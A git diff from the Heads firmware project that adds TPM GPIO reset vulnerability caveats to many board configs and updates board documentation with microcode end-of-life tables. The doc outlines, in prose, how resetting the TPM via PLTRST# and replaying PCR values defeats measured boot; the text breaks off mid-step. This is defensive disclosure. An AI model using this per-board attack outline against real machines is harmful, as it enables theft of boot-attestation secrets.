b/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config index 6baa67129..f93d267cc 100644 --- a/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config +++ b/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad W541 with HOTP security dongle support # For known issues see the blobs/w541/README.md CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config diff --git a/boards/EOL_w541-maximized/EOL_w541-maximized.config b/boards/EOL_w541-maximized/EOL_w541-maximized.config index cb0b985d6..53a21174d 100644 --- a/boards/EOL_w541-maximized/EOL_w541-maximized.config +++ b/boards/EOL_w541-maximized/EOL_w541-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad W541 without HOTP security dongle support # For known issues see the blobs/w541/README.md CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config diff --git a/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config b/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config index 6d7033db6..4fd0825cc 100644 --- a/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config +++ b/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X220 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x220-maximized/EOL_x220-maximized.config b/boards/EOL_x220-maximized/EOL_x220-maximized.config index bb37026df..fdc5da0df 100644 --- a/boards/EOL_x220-maximized/EOL_x220-maximized.config +++ b/boards/EOL_x220-maximized/EOL_x220-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X220 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config b/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config index e3aa82e55..463839fd0 100644 --- a/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config +++ b/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Based on https://review.coreboot.org/c/coreboot/+/28950 for FHD mod diff --git a/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config b/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config index fc4ca0ce0..cb06d1899 100644 --- a/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config +++ b/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config b/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config index 6131631ad..fff75bca8 100644 --- a/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config +++ b/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config b/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config index 69058a82e..a7855c198 100644 --- a/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config +++ b/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Based on https://review.coreboot.org/c/coreboot/+/28950 for FHD mod diff --git a/boards/EOL_x230-maximized/EOL_x230-maximized.config b/boards/EOL_x230-maximized/EOL_x230-maximized.config index 40afeaeab..f5edab489 100644 --- a/boards/EOL_x230-maximized/EOL_x230-maximized.config +++ b/boards/EOL_x230-maximized/EOL_x230-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config b/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config index 48d5d9c6a..600df1a24 100644 --- a/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config +++ b/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for HP Z220 CMT with HOTP usb security dongle support # #The board supports Intel LGA1155, which allows for ME removal (both neuter+disable as claimed by me_cleaner), diff --git a/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config b/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config index 1bb026565..2f0d51c1f 100644 --- a/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config +++ b/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for HP Z220 CMT without HOTP usb security dongle support # #The board supports Intel LGA1155, which allows for ME removal (both neuter+disable as claimed by me_cleaner), diff --git a/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config b/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config index 0fbf49897..467f1ac94 100644 --- a/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config +++ b/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config @@ -1,5 +1,6 @@ # MSI PRO Z690-A DDR4 board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z690 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config b/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config index dbc8803c3..7c28027a5 100644 --- a/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config +++ b/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config @@ -1,5 +1,6 @@ # MSI PRO Z690-A (DDR5) board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z690 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config b/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config index 7b67bf351..829a8389a 100644 --- a/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config +++ b/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config @@ -1,5 +1,6 @@ # MSI PRO Z790-P DDR4 board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z790 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config index f2587134e..ebd49e5f6 100644 --- a/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config +++ b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config @@ -1,5 +1,6 @@ # Nitrokey Nitropad NS51 board configuration -# Note: for reference, other GOP enabled FB board is librem_11 +# CAVEATS: TPM_GPIO_RESET=INCONCLUSIVE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # # Docs: # Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#ns5x7x-12th-gen diff --git a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config index d8dcf8e39..cc486fa84 100644 --- a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config +++ b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config @@ -1,5 +1,8 @@ # Configuration for a Talos 2 running Qubes and other OSes # The board uses BE coreboot and LE Linux kernel and initrd +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- POWER9 platform, not Intel +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_TARGET_ARCH=ppc64 export CONFIG_COREBOOT=y diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index e8a78fd78..957e8aa56 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -1,5 +1,7 @@ # Configuration for librem_11 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=NOT_APPLICABLE -- No TPM hardware (CONFIG_NO_TPM=y); uses ROM-hash HOTP +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_11.config export CONFIG_COREBOOT=y diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index a7a36157f..ad44492c1 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -1,5 +1,7 @@ # Configuration for a librem 14 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_14.config export CONFIG_COREBOOT=y diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index c1a70babd..9e41b4b3b 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -1,5 +1,7 @@ # Configuration for librem_l1um_v2 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_l1um_v2.config export CONFIG_COREBOOT=y diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 72ba6e4a5..8724adf25 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -1,5 +1,7 @@ # Configuration for a librem mini CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=NOT_APPLICABLE -- No TPM hardware (CONFIG_NO_TPM=y); uses ROM-hash HOTP +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_mini.config export CONFIG_COREBOOT=y diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 947145fad..2579b62fd 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -1,5 +1,7 @@ # Configuration for a librem mini v2 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=NOT_APPLICABLE -- No TPM hardware (CONFIG_NO_TPM=y); uses ROM-hash HOTP +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_mini_v2.config export CONFIG_COREBOOT=y diff --git a/boards/msi_z790p_ddr5/msi_z790p_ddr5.config b/boards/msi_z790p_ddr5/msi_z790p_ddr5.config index 91d71eed9..63c91439f 100644 --- a/boards/msi_z790p_ddr5/msi_z790p_ddr5.config +++ b/boards/msi_z790p_ddr5/msi_z790p_ddr5.config @@ -1,5 +1,6 @@ # MSI PRO Z790-P (DDR5) board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z790 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config b/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config index 55949736a..5dea7fca4 100644 --- a/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config +++ b/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config @@ -1,5 +1,6 @@ # NovaCustom NV4x 12th Gen (nv40pz: Alder Lake) board configuration -# Note: for reference, other GOP enabled FB board is librem_11 +# CAVEATS: TPM_GPIO_RESET=INCONCLUSIVE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # # Docs: # Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#12th-gen diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index 75033a92c..8cf4e7628 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -12,7 +12,9 @@ # # DISCLAIMER: Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable # ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) - +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- PCR GPIO lock Kconfig selected but per-pad enforcement unconfigured in board GPIO tables; GPIO PLTRST# assertion does not apply to eSPI-connected TPMs on this platform +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_v56 export CONFIG_DASHARO_EC=y diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index bd3976a1b..280c86018 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -12,7 +12,9 @@ # # DISCLAIMER: Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable # ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) - +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- PCR GPIO lock Kconfig selected but per-pad enforcement unconfigured in board GPIO tables; GPIO PLTRST# assertion does not apply to eSPI-connected TPMs on this platform +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_v56 export CONFIG_DASHARO_EC=y diff --git a/doc/BOARDS_AND_TESTERS.md b/doc/BOARDS_AND_TESTERS.md index 56a25a6ce..3c812c728 100644 --- a/doc/BOARDS_AND_TESTERS.md +++ b/doc/BOARDS_AND_TESTERS.md @@ -1,49 +1,140 @@ General information == -- **Intel CPU Generations:** [List of Intel processors](https://en.wikipedia.org/wiki/List_of_Intel_processors) - - **End of Servicing Updates (ESU Date)** [ESU table for Intel processors](https://www.intel.com/content/www/us/en/support/articles/000022396/processors.html) -- **AMD CPU Generations:** [List of AMD processors](https://en.wikipedia.org/wiki/AMD_processors) -- **Transient CPU Vulnerabilities:** [Transient execution CPU vulnerability](https://en.wikipedia.org/wiki/Transient_execution_CPU_vulnerability) - -**Note (as of 2025-05-29):** -- Intel CPUs from the 1st to 7th generations (Nehalem through Kaby Lake) have reached End-of-Life (EOL) status and no longer receive microcode updates. Consequently, these processors remain vulnerable to Spectre Variant 2 (CVE-2017-5715) and related speculative execution vulnerabilities. -- Some 8th generations (Kaby Lake Refresh) also reached EOL per Intel ESU. -- **Those boards names were renamed with EOL_ preceding their board names for users to be hinted by this at download/compilation/testing time** - -While software-based mitigations like Retpoline can reduce exposure to certain speculative execution attacks, their effectiveness is limited without corresponding microcode updates. Therefore, systems utilizing these older CPUs should be considered inherently vulnerable to Spectre Variant 2 and similar threats. - -Only mitigation is to make sure no secret is present in memory (trusted workflow) in parallel of untrusted workflows. -- This implies a single trusted workflow per boot session, ideally without any secrets remaining in memory—for example, running Tails from a live CD without providing it with any disk decryption passphrase. - - Poper OPSEC when running Tails: https://www.anarsec.guide/posts/tails - - The moment a secret resides in memory (e.g., a passphrase or private document), minimize its exposure by limiting its duration—reboot before switching tasks. - - Always prioritize security over convenience. When in doubt, reboot. - - Proper OPSEC for Memory use on QubesOS: https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use - - Use disposable qubes as if you were running Tails: use distinct disposable qubes and for really short lived tasks: always consider disk decryption key in memory at risk! -**On systems affected by QSB-107 and lacking updated microcode, [any untrusted application running in a qube could potentially exfiltrate sensitive memory content at a rate of as fast as 5.6 KiB/s.](https://comsec.ethz.ch/research/microarch/branch-privilege-injection)** - - -Live list of community supported platform testers per last coreboot/linux version bump -== - -Heads is a community project, where boards under boards/* need to be tested by board owners when coreboot/linux version bumps happen prior of a Pull Request (PR) merge. -This list will be maintained per coreboot/linux version bumps PRs. - -Please see boards/BOARD_NAME/BOARD_NAME.config for HCL details. - ----- - -As per tracking issue for board testers: https://github.com/linuxboot/heads/issues/692, currently built CircleCI boards ROMs are: +[Intel](https://en.wikipedia.org/wiki/List_of_Intel_processors) and +[AMD](https://en.wikipedia.org/wiki/List_of_AMD_processors) CPU generations; +[Transient execution CPU vulnerability](https://en.wikipedia.org/wiki/Transient_execution_CPU_vulnerability). + +"ESU" means "End of Servicing Updates" -- the date after which Intel stops +releasing microcode for a CPU generation; newly discovered vulnerabilities on +past-ESU generations remain unpatched. The `EOL_` prefix in board directories +indicates ended microcode servicing. For future ESU dates refer to: +- **Intel:** [ESU policy](https://www.intel.com/content/www/us/en/support/topics/support-and-servicing-for-processors.html) | [microcode releases](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases) +- **AMD:** [linux-firmware microcode history](https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/log/amd-ucode/) +- **IBM POWER9:** [End of Standard Service announcement](https://public.dhe.ibm.com/systems/support/planning/notices/September.12.2024.Announcement.Power9.pdf) (January 31, 2026) + +## Per-board EOL/ESU status + +The Last Microcode column links to the [Intel microcode releases page](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases). +Dates below are as of the document's last update and may be stale. + +**EOL boards** (`EOL_` prefix present): + +| Board | Gen | Code Name | ESU Date | Last Microcode | +|---|---|---|---|---| +| `EOL_t420` | 2nd | Sandy Bridge | No official ESU | 2019-05-14 | +| `EOL_x220` | 2nd | Sandy Bridge | No official ESU | 2019-05-14 | +| `EOL_t430` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_w530` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_x230` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_t530` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_optiplex-7010_9010` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_z220-cmt` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_t440p` | 4th | Haswell | Jun 30, 2021 | 2021-06 | +| `EOL_w541` | 4th | Haswell | Jun 30, 2021 | 2021-06 | +| `EOL_librem_l1um` | 5th | Broadwell | Jun 30, 2021 | 2020-06 | +| `EOL_librem_13v2` | 6th | Skylake | Sep 30, 2022 | 2022-11 | +| `EOL_librem_15v3` | 6th | Skylake | Sep 30, 2022 | 2022-11 | +| `EOL_m900_tower` | 6th | Skylake | Sep 30, 2022 | 2022-11 | +| `EOL_librem_13v4` | 7th | Kaby Lake | Mar 31, 2024 | 2024-03 | +| `EOL_librem_15v4` | 7th | Kaby Lake | Mar 31, 2024 | 2024-03 | +| `EOL_t480` | 8th | Kaby Lake-R | Mar 31, 2026 ¹ | 2024-03 | +| `EOL_t480s` | 8th | Kaby Lake-R | Mar 31, 2026 ¹ | 2024-03 | + +¹ KBL-R falls under Whiskey Lake ESU (Mar 31, 2026); also classified under Coffee Lake ESU (Jun 30, 2025). Both dates have passed. + +| `librem_l1um_v2` | 9th | Coffee Lake Refresh | Jun 30, 2026 | Not in Feb 2026+ | +| `librem_mini` | 8th | Whiskey Lake | Mar 31, 2026 | Not in Feb 2026+ | +| `UNTESTED_talos-2` | POWER9 | Talos II (IBM) | Jan 31, 2026 ² | Feb 2024 ² | + +² IBM End of Standard Service for POWER9. Last Raptor firmware release: February 2024. + +**Active boards** (ESU not yet reached; no `EOL_` prefix): + +| Board | Gen | Code Name | ESU Date | Last Microcode | +|---|---|---|---|---| +| `librem_14` | 10th | Comet Lake | Jun 30, 2027 | 2025-05 ³ | +| `librem_mini_v2` | 10th | Comet Lake | Jun 30, 2027 | 2025-05 ³ | +| `librem_11` | Atom | Jasper Lake | TBD | TBD | +| `UNTESTED_nitropad-ns50` | 12th | Alder Lake | Active | 2026-02 | +| `novacustom-nv4x_adl` | 12th | Alder Lake | Active | 2026-02 | +| `UNTESTED_msi_z690a_ddr4` | 12th | Alder Lake | Active | 2026-02 | +| `UNTESTED_msi_z690a_ddr5` | 12th | Alder Lake | Active | 2026-02 | +| `msi_z790p_ddr5` | 13th | Raptor Lake | Active | 2026-05 | +| `UNTESTED_msi_z790p_ddr4` | 13th | Raptor Lake | Active | 2026-05 | +| `novacustom-v540tu` | Core Ultra S1 | Meteor Lake | Active | 2026-05 | +| `novacustom-v560tu` | Core Ultra S1 | Meteor Lake | Active | 2026-05 | + +³ Comet Lake ESU runs through Jun 30, 2027. Check the +[Intel microcode releases page](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases) +for recent updates. + +**Formerly supported** (`unmaintained_boards/*/`; reference only): + +| Board | Gen | Code Name | ESU Date | Last Microcode | +|---|---|---|---|---| +| KGPE-D16 | AMD Family 15h | Bulldozer | No AMD ESU | 2018-05 (dropped in coreboot 4.12) | + +KGPE-D16 is the last fully blob-free **x86** platform (Talos II is the last +fully blob-free platform overall, on POWER9). AMD ceased Family 15h microcode +in 2018; removed from upstream coreboot in 4.12 (2019). The Dasharo fork was +abandoned August 2025. An independent community port (15h.org, October 2025) +exists but is not part of upstream coreboot. + +### Mitigation + +Spectre Variant 2 (CVE-2017-5715) and related speculative execution +vulnerabilities are unpatched on any board past its ESU date. Retpoline and +similar software mitigations have limited effectiveness without microcode +updates. On EOL platforms, run a single trusted workflow per boot session +and reboot before switching tasks. + +See the [Heads threat model](https://osresearch.net/Heads-threat-model/#mitigation-on-eol-platforms) +for detailed guidance including Tails OPSEC, QubesOS memory management, and +QSB-107 exposure rates. + +## TPM GPIO Reset Vulnerability + +*For a detailed analysis including per-platform feasibility, attack steps, +and upstream tracking, see [TPM_GPIO_Reset_Vulnerability.md](TPM_GPIO_Reset_Vulnerability.md).* + +Heads relies on coreboot to lock PCH GPIO pad configuration before booting +the OS. On many Intel platforms, coreboot fails to set these lock bits. +If pads are unlocked, post-coreboot code can reprogram the PLTRST# pin to +GPIO mode and assert it, forcing a TPM Reset. + +Attack chain: +1. Attacker asserts PLTRST# via GPIO, resetting the TPM to power-on state + (PCRs cleared to zero; NVRAM preserved). +2. Attacker replays known PCR measurements (boot hashes are deterministic) + to 